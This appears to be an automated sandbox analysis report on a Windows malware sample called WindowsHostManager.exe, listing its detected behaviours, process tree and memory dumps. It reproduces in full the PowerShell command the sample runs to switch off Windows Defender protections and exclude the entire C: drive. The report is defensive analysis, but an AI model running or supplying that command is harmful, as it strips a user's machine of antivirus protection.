Analysis
- user interaction
yes - max time kernel
149s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
- submitted
19/09/2026, 15:00
General
- Target WindowsHostManager.exe
- Size 5.7MB
- Sample260919-sdkvassbrc
- SHA256 8ea4f9ae650ba1fbe211f72403d78038d132ac3d8c5b3610a29eb5e8910b037e
Score
10/10
Malware Config
Signatures
- Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
- Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
- Windows security bypass 2 TTPs 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Windows security modification 2 TTPs 3 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 23 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\WindowsHostManager.exe"C:\Users\Admin\AppData\Local\Temp\WindowsHostManager.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies Windows Defender Real-time Protection settings
- Windows security bypass
- Checks computer location settings
- Windows security modification
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -DisableIOAVProtection $true -DisablePrivacyMode $true -SignatureDisableUpdateOnStartupWithoutEngine $true -DisableArchiveScanning $true -DisableIntrusionPreventionSystem $true -DisableScriptScanning $true -SubmitSamplesConsent 2 -MAPSReporting 0 -HighThreatDefaultAction 6 -ModerateThreatDefaultAction 6 -LowThreatDefaultAction 6 -SevereThreatDefaultAction 6; Add-MpPreference -ExclusionPath 'C:\'"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Roaming\WindowsHostManager.exe"C:\Users\Admin\AppData\Roaming\WindowsHostManager.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
__PSScriptPolicyTest_pixrte0b.yjj.ps1
WindowsHostManager.exe
whm_ws.log
memory/1772-47-0x000001D960910000-0x000001D960926000-memory.dmp
memory/3116-20-0x00000295E3F80000-0x00000295E3FA2000-memory.dmp
memory/3116-12-0x00000295E13B0000-0x00000295E13C0000-memory.dmp
memory/3116-11-0x00000295E13B0000-0x00000295E13C0000-memory.dmp
memory/4672-0-0x00000226394D0000-0x0000022639A92000-memory.dmp
memory/4672-1-0x0000022653E70000-0x0000022654348000-memory.dmp
memory/4672-2-0x000002263B610000-0x000002263B620000-memory.dmp